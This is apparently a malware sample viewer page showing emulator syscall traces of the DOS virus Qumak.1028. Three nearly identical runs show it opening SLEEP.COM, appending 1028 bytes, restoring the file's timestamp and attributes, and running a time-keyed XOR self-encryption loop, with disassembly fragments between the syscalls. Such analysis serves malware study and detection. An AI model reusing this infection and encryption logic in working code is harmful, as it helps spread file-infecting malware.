Sample viewer

vx.netlux.org/Virus.DOS.Qumak.1028

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:21:53.286955185Z 48 PC: 12c8b | Get DOS version
2018-12-17T22:21:53.288584014Z 47 PC: 12ca2 | Get disk transfer address
2018-12-17T22:21:53.291586177Z 26 PC: 12cb1 | Set disk transfer address
2018-12-17T22:21:53.293658139Z 78 PC: 12d49 | Find first file
2018-12-17T22:21:53.316008824Z 61 PC: 12daf | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:21:53.325227836Z 63 PC: 12dc2 | Read file or device (Read 7 bytes on handle 5)
2018-12-17T22:21:53.333561759Z 62 PC: 12dc6 | Close file
2018-12-17T22:21:53.336694767Z 67 PC: 12e09 | Get or set file attributes
2018-12-17T22:21:53.344949217Z 67 PC: 12e19 | Get or set file attributes
2018-12-17T22:21:53.366074455Z 61 PC: 12e23 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:21:53.380221612Z 87 PC: 12e2f | Get or set file date and time
2018-12-17T22:21:53.382715976Z 44 PC: 12e39 | Get time 0x12e39: and dh, 7
0x12e3c: jne 0x12e57
0x12e3e: mov ah, 0x40
0x12e40: mov cx, 5
0x12e43: mov dx, si
0x12e45: add dx, 0x8a
0x12e49: mov dx, si
0x12e4b: add dx, 0x8f
0x12e4f: mov ah, 9
0x12e51: int 0x21
0x12e53: jmp 0x12f0d
0x12e56: nop
0x12e57: mov ah, 0x3f
0x12e59: mov cx, 7
0x12e5c: mov dx, 0xad
0x12e5f: add dx, si
0x12e61: int 0x21
0x12e63: jae 0x12e68
0x12e65: jmp 0x12f0d
0x12e68: cmp ax, 7
2018-12-17T22:21:53.386598324Z 63 PC: 12e63 | Read file or device (Read 7 bytes on handle 5)
2018-12-17T22:21:53.39002967Z 66 PC: 12e7b | Move file pointer
2018-12-17T22:21:53.392141327Z 44 PC: 12ea7 | Get time 0x12ea7: mov dl, cl
0x12ea9: add dl, dh
0x12eab: add dl, 0x82
0x12eae: mov byte ptr [si - 1], dl
0x12eb1: mov bx, si
0x12eb3: mov cx, 0xf1
0x12eb6: mov al, byte ptr [bx]
0x12eb8: xor al, dl
0x12eba: mov byte ptr [bx], al
0x12ebc: inc bx
0x12ebd: loop 0x12eb6
0x12ebf: pop ax
0x12ec0: pop bx
0x12ec1: pop cx
0x12ec2: pop dx
0x12ec3: int 0x21
0x12ec5: push dx
0x12ec6: push cx
0x12ec7: push bx
0x12ec8: push ax
2018-12-17T22:21:53.396126699Z 64 PC: 12ec5 | Write file or device (Write 1028 bytes on handle 5)
2018-12-17T22:21:53.40918915Z 66 PC: 12ef2 | Move file pointer
2018-12-17T22:21:53.419569835Z 64 PC: 12f00 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:21:53.43851795Z 64 PC: 12f0d | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:21:53.441866286Z 87 PC: 12f19 | Get or set file date and time
2018-12-17T22:21:53.443940411Z 62 PC: 12f1d | Close file
2018-12-17T22:21:53.454057773Z 67 PC: 12f2c | Get or set file attributes
2018-12-17T22:21:53.465882932Z 26 PC: 12f36 | Set disk transfer address
2018-12-17T22:21:53.467621204Z 9 PC: 12c50 | Display string (String= 'Hello, world!!! ')
2018-12-17T22:21:53.478076436Z 76 PC: 12c55 | Terminate with return code (Return code = '0')

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":3827,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:50:16.773664421Z 48 PC: 12c8b | Get DOS version
2018-12-25T11:50:16.775492497Z 47 PC: 12ca2 | Get disk transfer address
2018-12-25T11:50:16.776961455Z 26 PC: 12cb1 | Set disk transfer address
2018-12-25T11:50:16.77851967Z 78 PC: 12d49 | Find first file
2018-12-25T11:50:16.785640838Z 61 PC: 12daf | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:50:16.790350287Z 63 PC: 12dc2 | Read file or device (Read 7 bytes on handle 5)
2018-12-25T11:50:16.796567776Z 62 PC: 12dc6 | Close file
2018-12-25T11:50:16.799326473Z 67 PC: 12e09 | Get or set file attributes
2018-12-25T11:50:16.809559803Z 67 PC: 12e19 | Get or set file attributes
2018-12-25T11:50:16.829663698Z 61 PC: 12e23 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:50:16.834171246Z 87 PC: 12e2f | Get or set file date and time
2018-12-25T11:50:16.836211542Z 44 PC: 12e39 | Get time 0x12e39: and dh, 7
0x12e3c: jne 0x12e57
0x12e3e: mov ah, 0x40
0x12e40: mov cx, 5
0x12e43: mov dx, si
0x12e45: add dx, 0x8a
0x12e49: mov dx, si
0x12e4b: add dx, 0x8f
0x12e4f: mov ah, 9
0x12e51: int 0x21
0x12e53: jmp 0x12f0d
0x12e56: nop
0x12e57: mov ah, 0x3f
0x12e59: mov cx, 7
0x12e5c: mov dx, 0xad
0x12e5f: add dx, si
0x12e61: int 0x21
0x12e63: jae 0x12e68
0x12e65: jmp 0x12f0d
0x12e68: cmp ax, 7
2018-12-25T11:50:16.83829476Z 63 PC: 12e63 | Read file or device (Read 7 bytes on handle 5)
2018-12-25T11:50:16.845267743Z 66 PC: 12e7b | Move file pointer
2018-12-25T11:50:16.847395343Z 44 PC: 12ea7 | Get time 0x12ea7: mov dl, cl
0x12ea9: add dl, dh
0x12eab: add dl, 0x82
0x12eae: mov byte ptr [si - 1], dl
0x12eb1: mov bx, si
0x12eb3: mov cx, 0xf1
0x12eb6: mov al, byte ptr [bx]
0x12eb8: xor al, dl
0x12eba: mov byte ptr [bx], al
0x12ebc: inc bx
0x12ebd: loop 0x12eb6
0x12ebf: pop ax
0x12ec0: pop bx
0x12ec1: pop cx
0x12ec2: pop dx
0x12ec3: int 0x21
0x12ec5: push dx
0x12ec6: push cx
0x12ec7: push bx
0x12ec8: push ax
2018-12-25T11:50:16.849689687Z 64 PC: 12ec5 | Write file or device (Write 1028 bytes on handle 5)
2018-12-25T11:50:16.858117943Z 66 PC: 12ef2 | Move file pointer
2018-12-25T11:50:16.860152724Z 64 PC: 12f00 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:50:16.86650414Z 64 PC: 12f0d | Write file or device (Write 4 bytes on handle 5)
2018-12-25T11:50:16.868923841Z 87 PC: 12f19 | Get or set file date and time
2018-12-25T11:50:16.871003546Z 62 PC: 12f1d | Close file
2018-12-25T11:50:16.879201216Z 67 PC: 12f2c | Get or set file attributes
2018-12-25T11:50:16.88911332Z 26 PC: 12f36 | Set disk transfer address
2018-12-25T11:50:16.890648904Z 9 PC: 12c50 | Display string (String= 'Hello, world!!! ')
2018-12-25T11:50:16.894452246Z 76 PC: 12c55 | Terminate with return code (Return code = '0')

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":7,"TimeBased":true,"OriginalID":3827,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:50:16.864408816Z 48 PC: 12c8b | Get DOS version
2018-12-25T11:50:16.866075778Z 47 PC: 12ca2 | Get disk transfer address
2018-12-25T11:50:16.867253879Z 26 PC: 12cb1 | Set disk transfer address
2018-12-25T11:50:16.868508662Z 78 PC: 12d49 | Find first file
2018-12-25T11:50:16.875530939Z 61 PC: 12daf | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:50:16.882960663Z 63 PC: 12dc2 | Read file or device (Read 7 bytes on handle 5)
2018-12-25T11:50:16.889904008Z 62 PC: 12dc6 | Close file
2018-12-25T11:50:16.891801491Z 67 PC: 12e09 | Get or set file attributes
2018-12-25T11:50:16.898362653Z 67 PC: 12e19 | Get or set file attributes
2018-12-25T11:50:16.916153675Z 61 PC: 12e23 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:50:16.923473304Z 87 PC: 12e2f | Get or set file date and time
2018-12-25T11:50:16.925471132Z 44 PC: 12e39 | Get time 0x12e39: and dh, 7
0x12e3c: jne 0x12e57
0x12e3e: mov ah, 0x40
0x12e40: mov cx, 5
0x12e43: mov dx, si
0x12e45: add dx, 0x8a
0x12e49: mov dx, si
0x12e4b: add dx, 0x8f
0x12e4f: mov ah, 9
0x12e51: int 0x21
0x12e53: jmp 0x12f0d
0x12e56: nop
0x12e57: mov ah, 0x3f
0x12e59: mov cx, 7
0x12e5c: mov dx, 0xad
0x12e5f: add dx, si
0x12e61: int 0x21
0x12e63: jae 0x12e68
0x12e65: jmp 0x12f0d
0x12e68: cmp ax, 7
2018-12-25T11:50:16.927718624Z 63 PC: 12e63 | Read file or device (Read 7 bytes on handle 5)
2018-12-25T11:50:16.930511257Z 66 PC: 12e7b | Move file pointer
2018-12-25T11:50:16.932245482Z 44 PC: 12ea7 | Get time 0x12ea7: mov dl, cl
0x12ea9: add dl, dh
0x12eab: add dl, 0x82
0x12eae: mov byte ptr [si - 1], dl
0x12eb1: mov bx, si
0x12eb3: mov cx, 0xf1
0x12eb6: mov al, byte ptr [bx]
0x12eb8: xor al, dl
0x12eba: mov byte ptr [bx], al
0x12ebc: inc bx
0x12ebd: loop 0x12eb6
0x12ebf: pop ax
0x12ec0: pop bx
0x12ec1: pop cx
0x12ec2: pop dx
0x12ec3: int 0x21
0x12ec5: push dx
0x12ec6: push cx
0x12ec7: push bx
0x12ec8: push ax
2018-12-25T11:50:16.934590606Z 64 PC: 12ec5 | Write file or device (Write 1028 bytes on handle 5)
2018-12-25T11:50:16.944155921Z 66 PC: 12ef2 | Move file pointer
2018-12-25T11:50:16.945895303Z 64 PC: 12f00 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:50:16.953200029Z 64 PC: 12f0d | Write file or device (Write 4 bytes on handle 5)
2018-12-25T11:50:16.955864347Z 87 PC: 12f19 | Get or set file date and time
2018-12-25T11:50:16.957975695Z 62 PC: 12f1d | Close file
2018-12-25T11:50:16.966401625Z 67 PC: 12f2c | Get or set file attributes
2018-12-25T11:50:16.978132724Z 26 PC: 12f36 | Set disk transfer address
2018-12-25T11:50:16.979685786Z 9 PC: 12c50 | Display string (String= 'Hello, world!!! ')
2018-12-25T11:50:16.984078048Z 76 PC: 12c55 | Terminate with return code (Return code = '0')